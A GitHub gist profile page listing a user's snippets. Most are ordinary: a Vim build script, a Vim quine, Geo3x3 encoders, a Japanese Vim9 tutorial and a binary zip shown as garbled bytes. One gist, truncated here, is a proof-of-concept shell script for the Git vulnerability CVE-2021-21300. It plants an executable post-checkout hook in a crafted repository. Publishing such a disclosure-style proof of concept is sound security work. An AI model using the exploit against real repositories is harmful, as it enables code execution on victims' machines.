Skip to content

Instantly share code, notes, and snippets.

View kat0h's full-sized avatar
:octocat:

Kota Kato kat0h

:octocat:
  • UEC
View GitHub Profile
# This code is licensed under CC0
import PySimpleGUI as sg
import pyautogui
def get_cursorpos():
return pyautogui.position()
def get_winpos(window):
@kat0h
kat0h / CVE-2021-21300.sh
Last active March 12, 2021 06:33
CVE-2021-21300.sh
#!/bin/sh
git init delayed-checkout &&
(
cd delayed-checkout &&
echo "A/post-checkout filter=lfs diff=lfs merge=lfs" >.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho H4sIADnNkVkAA4WRUQ7AIAhD/zkFKefr/X+HLsGicXOJcb5asLq7g/T/YWMiVQs9BxZMKTAWUZTY7CCuTcoQVy1ghxLvD7UZLumqOVfZYG1gjHJt12ffuDIbaYTSyK8iubNZESGBRPRrXZhl25ERr9jD18EPZptUBIdNYzNHzc23l7wxewC/zHs/WAIAAA== | base64 --decode | gzip -d >&2\n' >A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
@kat0h
kat0h / build_vim.sh
Created March 12, 2021 07:13
Vim-build-script
cd vim
git fetch && git reset --hard origin/master
make distclean
./configure --with-features=huge --enable-multibyte --enable-rubyinterp --enable-python3interp --enable-pythoninterp --enable-perlinterp --enable-fontset --enable-pythoninterp
if [ ! $? -eq 0 ]; then exit ;fi
make
make install
@kat0h
kat0h / gist:70d39a6307736714fd2df4dc5dce4e94
Last active March 12, 2021 08:01
Vim Quine Shell Gei

まだ読む気になれるQuine

vim -es +'let src="norm ivim -es +^=nr2char(39)@let src=^=nr2char(34)@^=src@^=nr2char(34)@ | exe src->tr(^=nr2char(34)..nr2char(37)..nr2char(94)..nr2char(64)..nr2char(34)@, nr2char(27)..nr2char(18)..nr2char(10))^=nr2char(39)@ +^=nr2char(39)..nr2char(37)@p|q!^=nr2char(39)@" | exe src->tr("%^@", nr2char(27)..nr2char(18)..nr2char(10))' +'%p|q!'

ソースコードを変数sに代入し、インサートモード内で=を使うことで展開している。
"はasciiコードから入力している。

繰り返しを省いたQuine

@kat0h
kat0h / geo3x3.vim
Created March 13, 2021 02:51
Geo3x3.vim
fu Geo3x3_encode(lat, lng, level)
let lng = a:lng
if lng >= 0.0
let result = "E"
else
let result = "W"
lng += 180.0
en
let lat = a:lat + 90.0
let unit = 180.0
@kat0h
kat0h / geo3x3_vim9.vim
Last active March 13, 2021 13:07
Geo3x3 Vim9
vim9script
def g:Geo3x3_encode(lat: float, lng: float, level: number): string
var flng = lng
var res = ""
if flng >= 0.0
res = "E"
else
res = "W"
flng += 180.0
@kat0h
kat0h / vim9script4pythondevelopers.md
Last active March 31, 2021 07:51
Vim9 script for Python Developers

Vim9 script for Python Developers

Vim9 scriptはVim scriptとの互換をなくし変数の型縛りを導入したり、コンパイルをすることなどにより、高速化を実現した新しい処理系です。

defコマンドで定義された関数内、またはVim script内でvim9scriptコマンドを使うことで利用できます(vim9scriptコマンドの後ではfunctionコマンドは利用できません)。

この記事は、 https://gist.github.com/yegappan/16d964a37ead0979b05e655aa036cad0 の内容を元にVim(v8.2.2576)上のVim9 scriptで動作するように改変したものです。

Vim9 scriptで動作を確認できなかったもの、まだ実装されていなものはpassと表記し、省略しています。

https://www.youtube.com/watch?v=r7qovpFAGrQ
https://www.youtube.com/watch?v=L_jWHffIx5E
https://www.youtube.com/watch?v=iLBBRuVDOo4
https://www.youtube.com/watch?v=H8ci4Kfb_Sc
https://www.youtube.com/watch?v=dv13gl0a-FA
https://www.youtube.com/watch?v=h_D3VFfhvs4
https://www.youtube.com/watch?v=HEXWRTEbj1I
https://www.youtube.com/watch?v=2MtOpB5LlUA
https://www.youtube.com/watch?v=qeMFqkcPYcg
https://www.youtube.com/watch?v=1G5yZd0g9eA
@kat0h
kat0h / icon.zip
Last active April 4, 2021 08:08
popclip bigsur
PKj�R� popclip.afdesignUT
��e`��e`��e`ux �LzeTM����������-!w����B��%8�a��b;����ǭ�9��}N�������� @]y���aP�r����'U}�W�B�@���_8����_�"H筷��1(�z�v���T8���E�jtpI9����Q ]�r��q0�U:�#U�1p�d��|���'�I�g�g��g��Ԝ\2}~e�9�N�+���� ���K��������e�38M[�3MP�;�2�%���ҝ��'��`��P%�����%U�`D2L�]��C/��^�ӛ�#�|����?F\����iX%T��5���7��R�����a )�Yެ�߬1��);��{��w���m��2Z�q�M|��E�DZ�{�����-%C�1K�Z���( �9��T,��oT:�����"�T���� �����%N{���'�h�nz.ܰ��1B�|�1L���(�R�:|���� Ӕ�]8 �;6 �婐ڐƂY��8�o@4�� {d����\v�/��P��͂,oѣ{��0�=s�s|j����W�t��}�1 \vD�N��?�X�,�N�R�t�>�<$UŶx(� ��9����+�"�+Pi;���<�7;׉_�����5�L����%�-���|��(���P dže�"4��ت�\��Sp>�#��U�7�����h�|����CK��G���ۀkK&�\�sVD�� �lᛀ����<���wݰ��Y\��Ä�@��խ��0�A%�Q��9B�%�o��i
����,SR�и��ъ�غ�OG4쒰�ܷJr� ��GU
/��^���`<2a}�_�C@��q�3���b��^�ʛ^
Y��8�� ���y�齨�`9��-�`a�e����|���w:_�K� Նf�{�B�,^]CO��#���Vw��8�4)�Pv��-cZ��䓼P�>�83ݼg��V������o ڀ���Ы����ߎ�>��������׀{]ْ�~h^:P�)��OW3����vv�c�?� �gU 2���{D�|<��
@kat0h
kat0h / vim-jp.html.md
Last active April 15, 2021 23:22
vim-jp.html.md